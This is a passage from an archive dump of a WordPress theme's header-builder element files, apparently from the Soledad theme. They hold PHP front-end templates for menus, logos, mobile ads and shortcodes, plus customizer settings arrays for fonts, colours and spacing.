	if ( penci_builder_validate_mod( $header_data, 'penci_header_pb_dropdown_menu_penci_vernav_click_parent' ) == 'enable' ) {
		$value = true;
	}

	return $value;
} );
?>
    <div class="pc-builder-element pc-builder-menu pc-dropdown-menu">
        <nav class="<?php echo implode( ' ', $classes ); ?>" role="navigation"
		     <?php if ( ! penci_builder_validate_mod( $header_data, 'penci_schema_sitenav' ) ): ?>itemscope
             itemtype="https://schema.org/SiteNavigationElement"<?php endif; ?>>
			<?php
			$args = array(
				'container'   => false,
				'menu_class'  => 'menu menu-hgb-main',
				'fallback_cb' => 'penci_menu_fallback',
				'walker'      => new penci_menu_builder_walker_nav_menu()
			);
			if ( $menu_id ) {
				$args['menu'] = $menu_id;
			} else {
				$args['location'] = 'primary-menu';
			}
			wp_nav_menu( $args );
			?>
        </nav>
    </div>
<?php 


PK     /w\Sl^  ^  .  builder/elements/pb_dropdown_menu/settings.phpnu [        <?php 

$options   = [];
$options[] = array(
	'id'              => 'penci_header_pb_dropdown_menu_name',
	'default'         => '',
	'transport'       => 'postMessage',
	'sanitize'        => 'penci_sanitize_choices_field',
	'type'            => 'soledad-fw-select',
	
	'label'           => esc_html__( 'Select Menu', 'soledad' ),
	'placeholder'     => esc_html__( 'Select an the menu', 'soledad' ),
	'choices'         => penci_builder_menu_list(),
	'description'     => sprintf( __( 'Go to the <a href="%s" target="_blank">Menus screen</a> to add new or edit your menus.', 'soledad' ), admin_url( 'nav-menus.php' ) ),
	'partial_refresh' => [
		'penci_header_pb_dropdown_menu_name' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[] = array(
	'id'        => 'penci_header_pb_dropdown_menu_penci_font_for_menu',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Custom Font For Menu Items','soledad' ),
	'type'      => 'soledad-fw-select',
	'choices'   => penci_all_fonts( 'select' )
);
$options[] = array(
	'id'        => 'penci_header_pb_dropdown_menu_penci_font_weight_menu',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font Weight For Dropdown Menu Items','soledad' ),
	
	'type'      => 'soledad-fw-select',
	'choices'   => array(
		''        => '',
		'normal'  => __('Normal','soledad' ),
		'bold'    => __('Bold','soledad' ),
		'bolder'  => __('Bolder','soledad' ),
		'lighter' => __('Lighter','soledad' ),
		'100'     => __('100','soledad' ),
		'200'     => __('200','soledad' ),
		'300'     => __('300','soledad' ),
		'400'     => __('400','soledad' ),
		'500'     => __('500','soledad' ),
		'600'     => __('600','soledad' ),
		'700'     => __('700','soledad' ),
		'800'     => __('800','soledad' ),
		'900'     => __('900','soledad' ),
	)
);
$options[] = array(
	'id'        => 'penci_header_pb_dropdown_menu_penci_menu_uppercase',
	'default'   => 'disable',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Turn Off Uppercase on Menu items','soledad' ),
	'type'      => 'soledad-fw-select',
	'choices'   => [
		'disable' => 'No',
		'enable'  => 'Yes',
	]
);
$options[] = array(
	'id'          => 'penci_header_pb_dropdown_menu_penci_vernav_click_parent',
	'default'     => '',
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __('Enable click on Parent Menu Item to open Child Menu Items','soledad' ),
	'description' => __('By default, you need to click to the arrow on the right side to open child menu items - this option will help you click on the parent menu items to open child menu items','soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => [
		'disable' => __('No','soledad' ),
		'enable'  => __('Yes','soledad' ),
	]
);
$options[] = array(
	'id'        => 'penci_header_pb_dropdown_menu_penci_font_size_lv1',
	'default'   => '12',
	'sanitize'  => 'absint',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-size',
	'label'     => __( 'Font Size for Menu Items Level 1', 'soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_dropdown_menu_penci_font_size_lv1',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_dropdown_menu_penci_font_size_drop',
	'default'   => '12',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-size',
	'sanitize'  => 'absint',
	'label'     => __( 'Font Size for Dropdown Menu Items', 'soledad' ),
	'ids'  => array(
		'desktop' => 'penci_header_pb_dropdown_menu_penci_font_size_drop',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_dropdown_menu_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_dropdown_menu_penci_menu_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Menu Items Color','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_dropdown_menu_penci_menu_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Menu Items Hover & Active Color','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_dropdown_menu_penci_menu_border_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Menu Items Borders Color','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_dropdown_menu_class',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Custom CSS Class', 'soledad' ),
);

return $options;
PK     /w\gCE  E  0  builder/elements/pb_html_ad_mobile/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
$ads_html = penci_builder_validate_mod( $header_data, 'penci_header_builder_pb_html_mobile_name', false );
if ( empty( $ads_html ) ) {
	return false;
}
?>

<div class="penci-builder-element penci-html-ads penci-html-ads-mobile">
	<?php echo do_shortcode( $ads_html ); ?>
</div>
PK     /w\M|	  |	  /  builder/elements/pb_html_ad_mobile/settings.phpnu [        <?php 

$options   = [];
$options[] = array(
	'id'              => 'penci_header_builder_pb_html_mobile_name',
	'default'         => '',
	'transport'       => 'postMessage',
	'sanitize'        => 'penci_sanitize_choices_field',
	'type'            => 'soledad-fw-textarea',
	'label'           => esc_html__( 'HTML Code', 'soledad' ),
	'partial_refresh' => [
		'penci_header_builder_pb_html_mobile_name' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[] = array(
	'id'        => 'penci_header_builder_pb_html_mobile_color',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => esc_html__( 'Text Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_builder_pb_html_mobile_link_color',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => esc_html__( 'Links Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_builder_pb_html_mobile_fsize',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'label'     => __('Font Size','soledad' ),
	'type'      => 'soledad-fw-size',
	'ids'  => array(
		'desktop' => 'penci_header_builder_pb_html_mobile_fsize',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_builder_pb_html_mobile_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
	),
);
$options[] = array(
	'id'       => 'penci_header_builder_pb_html_mobile_css_class',
	'default'  => '',
	'sanitize' => 'penci_sanitize_textarea_field',
	'type'     => 'soledad-fw-text',
	'label'    => esc_html__( 'Custom CSS Class', 'soledad' ),
);

return $options;
PK     /w\^=    .  builder/elements/pb_logo_sidebar/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
$logo_settings = 'penci_header_pb_logo_sidebar';
$logo_url      = get_theme_mod( 'penci_custom_url_logo' ) ? get_theme_mod( 'penci_custom_url_logo' ) : esc_url( home_url( '/' ) );
$logo_display  = penci_builder_validate_mod( $header_data, $logo_settings . '_logo_display', 'image' );
$logo_title    = penci_builder_validate_mod( $header_data, $logo_settings . '_site_title' );
$logo_slogan   = penci_builder_validate_mod( $header_data, $logo_settings . '_site_description' );
$logo_class    = penci_builder_validate_mod( $header_data, $logo_settings . '_class' );
if ( penci_builder_validate_mod( $header_data, $logo_settings . '_image_setting_href' ) ) {
	$logo_url = penci_builder_validate_mod( $header_data, $logo_settings . '_image_setting_href' );
}
$logo_src = PENCI_SOLEDAD_URL . '/images/logo.png';
if ( get_theme_mod( 'penci_logo' ) ) {
	$logo_src = get_theme_mod( 'penci_logo' );
}
if ( get_theme_mod( 'penci_mobile_nav_logo' ) ) {
	$logo_src = get_theme_mod( 'penci_mobile_nav_logo' );
}
if ( penci_builder_validate_mod( $header_data, $logo_settings . '_image_setting_url' ) ) {
	$logo_src = penci_builder_validate_mod( $header_data, $logo_settings . '_image_setting_url' );
}

if ( is_page() ) {
	$pmeta_page_header = get_post_meta( get_the_ID(), 'penci_pmeta_page_header', true );
	if ( isset( $pmeta_page_header['custom_logo'] ) && $pmeta_page_header['custom_logo'] ) {

		$logo_src_meta = wp_get_attachment_url( intval( $pmeta_page_header['custom_logo'] ) );
		if ( $logo_src_meta ) {
			$logo_src = $logo_src_meta;
		}
	}
}
$extra_logo_class = ' pclogo-cls';
if ( 'image' == $logo_display ):
	$data_dark_logo = '';
	$dark_logo      = get_theme_mod( 'penci_menu_logo_dark' );
	if ( $dark_logo && get_theme_mod( 'penci_dms_enable' ) ) {
		$data_dark_logo .= 'data-lightlogo="' . esc_url( $logo_src ) . '"';
		$data_dark_logo .= ' data-darklogo="' . esc_url( $dark_logo ) . '"';
	}
	?>
    <div class="pc-builder-element pc-logo pb-logo-sidebar-mobile penci-header-image-logo <?php echo esc_attr( $logo_class ); ?>">
        <a href="<?php echo $logo_url; ?>">
            <img class="penci-mainlogo penci-limg<?php echo $extra_logo_class; ?>" <?php echo $data_dark_logo;?>
                 src="<?php echo esc_url( $logo_src ); ?>"
                 alt="<?php bloginfo( 'name' ); ?>"
                 width="<?php echo penci_get_image_data_basedurl( $logo_src, 'w' ); ?>"
                 height="<?php echo penci_get_image_data_basedurl( $logo_src, 'h' ); ?>">
			<?php if ( ! empty( $logo_slogan ) ): ?>
                <div class="site-slogan"><span><?php echo esc_attr( $logo_slogan ); ?></span></div>
			<?php endif; ?>
        </a>
    </div>
<?php 
else: ?>
    <div class="pc-builder-element pc-logo pb-logo-sidebar-mobile penci-header-text-logo <?php echo esc_attr( $logo_class ); ?>">
        <a href="<?php echo $logo_url; ?>">
			<?php if ( ! empty( $logo_title ) ): ?>
                <div class="site-name"><?php echo esc_attr( $logo_title ); ?></div>
			<?php endif; ?>
			<?php if ( ! empty( $logo_slogan ) ): ?>
                <div class="site-slogan"><span><?php echo esc_attr( $logo_slogan ); ?></span></div>
			<?php endif; ?>
        </a>
    </div>
<?php 
endif;
PK     /w\yh} $  $  -  builder/elements/pb_logo_sidebar/settings.phpnu [        <?php 

$options   = [];
$options[] = array(
	'id'        => 'penci_header_pb_logo_sidebar_logo_display',
	'default'   => 'image',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-radio',
	
	'label'     => esc_html__( 'Display Logo as', 'soledad' ),
	'priority'  => 10,
	'choices'   => [
		'image' => esc_html__( 'Logo Image', 'soledad' ),
		'text'  => esc_html__( 'Text', 'soledad' ),
	],
	'partial_refresh' => [
		'penci_header_pb_logo_sidebar_logo_display' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[] = array(
	'id'          => 'penci_header_pb_logo_sidebar_image_setting_url',
	'default'     => '',
	'transport'   => 'postMessage',
	'sanitize'    => 'penci_sanitize_choices_field',
	'type'        => 'soledad-fw-image',
	
	'label'       => esc_html__( 'Logo Image', 'soledad' ),
	'description' => esc_html__( 'Upload your image logo here', 'soledad' ),
	'partial_refresh' => [
		'penci_header_pb_logo_sidebar_image_setting_url' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[] = array(
	'id'          => 'penci_header_pb_logo_sidebar_size_logo_mw',
	'default'     => '',
	'transport'   => 'postMessage',
	'sanitize'    => 'absint',
	'type'      => 'soledad-fw-size',
	'label' => __( 'Maxium Width for Logo Image', 'soledad' ),
	'ids'    => array(
		'desktop' => 'penci_header_pb_logo_sidebar_size_logo_mw',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 500,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'          => 'penci_header_pb_logo_sidebar_size_logo_mh',
	'default'     => '60',
	'transport'   => 'postMessage',
	'sanitize'    => 'absint',
	'type'      => 'soledad-fw-size',
	'label' => __( 'Maxium Height for Logo Image', 'soledad' ),
	'ids'    => array(
		'desktop' => 'penci_header_pb_logo_sidebar_size_logo_mh',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 500,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_sidebar_image_setting_href',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-text',
	
	'label'     => __( 'Custom Logo Link', 'soledad' ),
	'priority'  => 10,
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_sidebar_site_title',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-text',
	
	'label'     => esc_html__( 'Text Logo', 'soledad' ),
	'partial_refresh' => [
		'penci_header_pb_logo_sidebar_site_title' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_sidebar_site_description',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-textarea',
	
	'label'     => esc_html__( 'Slogan Text', 'soledad' ),
	'partial_refresh' => [
		'penci_header_pb_logo_sidebar_site_description' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[] = array(
	'id'          => 'penci_header_pb_logo_sidebar_font_size_logo',
	'default'     => '',
	'transport'   => 'postMessage',
	'sanitize'    => 'absint',
	'type'      => 'soledad-fw-size',
	'label' => __( 'Font Size for Text Logo', 'soledad' ),
	'ids'    => array(
		'desktop' => 'penci_header_pb_logo_sidebar_font_size_logo',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
/* Text Logo */
$options[] = array(
	'id'        => 'penci_header_pb_logo_sidebar_color_logo',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Color for Text Logo','soledad' ),
);
$options[] = array(
	'id'          => 'penci_header_pb_logo_sidebar_penci_font_for_title',
	'default'     => '',
	'transport'   => 'postMessage',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __('Font for Text Logo','soledad' ),
	
	'description' => __('Default font is "PT Serif"','soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => penci_all_fonts( 'select' )
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_sidebar_penci_font_weight_title',
	'default'   => 'bold',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font Weight for Text Logo','soledad' ),
	
	'type'      => 'soledad-fw-select',
	'choices'   => array(
		'normal'  => __('Normal','soledad' ),
		'bold'    => __('Bold','soledad' ),
		'bolder'  => __('Bolder','soledad' ),
		'lighter' => __('Lighter','soledad' ),
		'100'     => __('100','soledad' ),
		'200'     => __('200','soledad' ),
		'300'     => __('300','soledad' ),
		'400'     => __('400','soledad' ),
		'500'     => __('500','soledad' ),
		'600'     => __('600','soledad' ),
		'700'     => __('700','soledad' ),
		'800'     => __('800','soledad' ),
		'900'     => __('900','soledad' ),
	)
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_sidebar_penci_font_style_title',
	'default'   => 'normal',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font Style for Text Logo','soledad' ),
	
	'type'      => 'soledad-fw-select',
	'choices'   => array(
		'normal' => __('Normal','soledad' ),
		'italic' => __('Italic','soledad' ),
	)
);
/* Slogan*/
$options[] = array(
	'id'          => 'penci_header_pb_logo_sidebar_font_size_slogan',
	'default'     => '',
	'transport'   => 'postMessage',
	'type'      => 'soledad-fw-size',
	'sanitize'    => 'absint',
	'label' => __( 'Font Size for Slogan', 'soledad' ),
	'ids'    => array(
		'desktop' => 'penci_header_pb_logo_sidebar_font_size_slogan',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_sidebar_color_slogan',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Color Header Slogan','soledad' ),
);
$options[] = array(
	'id'          => 'penci_header_pb_logo_sidebar_penci_font_for_slogan',
	'default'     => '',
	'transport'   => 'postMessage',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __('Font for Slogan Text','soledad' ),
	
	'description' => __('Default font is "PT Serif"','soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => penci_all_fonts( 'select' )
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_sidebar_penci_font_weight_slogan',
	'default'   => 'bold',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font Weight for Slogan Text','soledad' ),
	'type'      => 'soledad-fw-select',
	'choices'   => array(
		'normal'  => __('Normal','soledad' ),
		'bold'    => __('Bold','soledad' ),
		'bolder'  => __('Bolder','soledad' ),
		'lighter' => __('Lighter','soledad' ),
		'100'     => __('100','soledad' ),
		'200'     => __('200','soledad' ),
		'300'     => __('300','soledad' ),
		'400'     => __('400','soledad' ),
		'500'     => __('500','soledad' ),
		'600'     => __('600','soledad' ),
		'700'     => __('700','soledad' ),
		'800'     => __('800','soledad' ),
		'900'     => __('900','soledad' ),
	)
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_sidebar_penci_font_style_slogan',
	'default'   => 'normal',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font Style for Slogan Text','soledad' ),
	
	'type'      => 'soledad-fw-select',
	'choices'   => array(
		'normal' => __('Normal','soledad' ),
		'italic' => __('Italic','soledad' ),
	)
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_sidebar_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_sidebarclass',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Custom CSS Class', 'soledad' ),
);

return $options;
PK     /w\X-    2  builder/elements/pb_shortcode_mobile/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
$shortcode_html  = penci_builder_validate_mod( $header_data, 'penci_header_builder_pb_shortcode_mobile_name', false );
$shortcode_class = penci_builder_validate_mod( $header_data, 'penci_header_builder_pb_shortcode_mobile_class' );
if ( empty( $shortcode_html ) ) {
	return false;
}
?>

<div class="penci-builder-element penci-shortcodes-mobile <?php echo esc_attr( $shortcode_class ); ?>">
	<?php echo do_shortcode( $shortcode_html ); ?>
</div>
PK     /w\~	    1  builder/elements/pb_shortcode_mobile/settings.phpnu [        <?php 

$options   = [];
$options[] = array(
	'id'        => 'penci_header_builder_pb_shortcode_mobile_name',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-textarea',
	
	'label'     => esc_html__( 'Shortcode Code', 'soledad' ),
	'priority'  => 10,
);
$options[] = array(
	'id'        => 'penci_header_builder_pb_shortcode_mobile_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_builder_pb_shortcode_mobile_class',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Custom CSS Class', 'soledad' ),
);

return $options;PK     /w\tak_  _  ,  builder/elements/pb_third_menu/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
$menu_id = penci_builder_validate_mod( $header_data, 'penci_header_pb_third_menu_name', false );
if ( is_page() ) {
	$pmeta_page_header = get_post_meta( get_the_ID(), 'penci_pmeta_page_header', true );
	if ( isset( $pmeta_page_header['main_nav_menu'] ) && $pmeta_page_header['main_nav_menu'] ) {
		$menu_id = $pmeta_page_header['main_nav_menu'];
	}
}
$classes = [];

$classes[] = 'navigation';
$classes[] = get_theme_mod( 'penci_header_menu_style', 'menu-style-1' );
$classes[] = penci_builder_validate_mod( $header_data, 'penci_header_pb_third_menu_class', 'no-class' );
$classes[] = 'enable' == penci_builder_validate_mod( $header_data, 'penci_header_pb_third_menu_penci_header_enable_padding', false ) ? 'menu-item-padding' : 'menu-item-normal';
$classes[] = 'enable' == penci_builder_validate_mod( $header_data, 'penci_header_pb_third_menu_penci_header_remove_line_hover' ) ? 'pcremove-lineh' : '';

if ( $menu_id || is_customize_preview() ) {
	?>
    <div class="pc-builder-element pc-builder-menu pc-third-menu">
        <nav class="<?php echo implode( ' ', $classes ); ?>" role="navigation"
		     <?php if ( ! penci_builder_validate_mod( $header_data, 'penci_schema_sitenav' ) ): ?>itemscope
             itemtype="https://schema.org/SiteNavigationElement"<?php endif; ?>>

			<?php
			if ( $menu_id ) {
				wp_nav_menu( array(
					'menu'        => $menu_id,
					'container'   => false,
					'menu_class'  => 'menu',
					'fallback_cb' => 'penci_menu_fallback',
					'walker'      => new penci_menu_walker_nav_menu()
				) );
			}
			?>
        </nav>
    </div>
	<?php
}


PK     /w\G2  2  +  builder/elements/pb_third_menu/settings.phpnu [        <?php 

$third_menu_settings = 'penci_header_pb_third_menu_';
$third_menu_section  = 'penci_header_pb_third_menu_section';
$general_config      = 'penci_builder_mods';
$options             = [];
$options[]           = array(
	'id'        => $third_menu_settings . 'name',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',

	'label'           => esc_html__( 'Select Menu', 'soledad' ),
	'placeholder'     => esc_html__( 'Select an the menu', 'soledad' ),
	'choices'         => penci_builder_menu_list(),
	'description'     => sprintf( __( 'Go to the <a href="%s" target="_blank">Menus screen</a> to add new or edit your menus.', 'soledad' ), admin_url( 'nav-menus.php' ) ),
	'partial_refresh' => [
		$third_menu_settings . 'name' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[]           = array(
	'id'        => $third_menu_settings . 'penci_header_enable_padding',
	'default'   => 'disable',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Enable Padding on Menu Item Level 1','soledad' ),

	'type'    => 'soledad-fw-select',
	'choices' => [
		'disable' => __('No','soledad' ),
		'enable'  => __('Yes','soledad' ),
	]
);
$options[]           = array(
	'id'        => $third_menu_settings . 'penci_header_remove_line_hover',
	'default'   => 'disable',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Hide Line When Hover on Menu Items Level 1','soledad' ),

	'description' => __( 'You can change the sub menu style via Customize > Logo & Header > Main Bar & Primary Menu > Sub Menu Style', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => [
		'disable' => __('No','soledad' ),
		'enable'  => __('Yes','soledad' ),
	]
);
$options[]           = array(
	'id'        => $third_menu_settings . 'penci_font_for_menu',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Custom Font For Third Menu Items','soledad' ),
	'type'      => 'soledad-fw-select',
	'choices'   => penci_all_fonts( 'select' )
);
$options[]           = array(
	'id'        => $third_menu_settings . 'penci_font_weight_menu',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font Weight For Third Menu Items','soledad' ),

	'type'    => 'soledad-fw-select',
	'choices' => array(
		''        => '',
		'normal'  => __('Normal','soledad' ),
		'bold'    => __('Bold','soledad' ),
		'bolder'  => __('Bolder','soledad' ),
		'lighter' => __('Lighter','soledad' ),
		'100'     => __('100','soledad' ),
		'200'     => __('200','soledad' ),
		'300'     => __('300','soledad' ),
		'400'     => __('400','soledad' ),
		'500'     => __('500','soledad' ),
		'600'     => __('600','soledad' ),
		'700'     => __('700','soledad' ),
		'800'     => __('800','soledad' ),
		'900'     => __('900','soledad' ),
	),
);
$options[]           = array(
	'id'        => $third_menu_settings . 'penci_menu_uppercase',
	'default'   => 'disable',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Turn Off Uppercase on Menu items','soledad' ),
	'type'      => 'soledad-fw-select',
	'choices'   => [
		'disable' => __('No','soledad' ),
		'enable'  => __('Yes','soledad' ),
	]
);
$options[]           = array(
	'id'        => $third_menu_settings . 'penci_menu_color',
	'default'   => '',
	'type'      => 'soledad-fw-color',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Menu Items Color','soledad' ),
);
$options[]           = array(
	'id'        => $third_menu_settings . 'penci_menu_hv_color',
	'default'   => '',
	'type'      => 'soledad-fw-color',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Menu Items Hover Color','soledad' ),
);
$options[]           = array(
	'id'        => $third_menu_settings . 'penci_menu_active_color',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Menu Items Active Color','soledad' ),
);
$options[]           = array(
	'id'        => $third_menu_settings . 'penci_menu_line_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Line Hover Color','soledad' ),
);
$options[]           = array(
	'id'        => $third_menu_settings . 'penci_menu_bg_color',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Menu Items Background Color','soledad' ),
);
$options[]           = array(
	'id'        => $third_menu_settings . 'penci_menu_bg_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Menu Items Hover Background Color','soledad' ),
);
$options[]           = array(
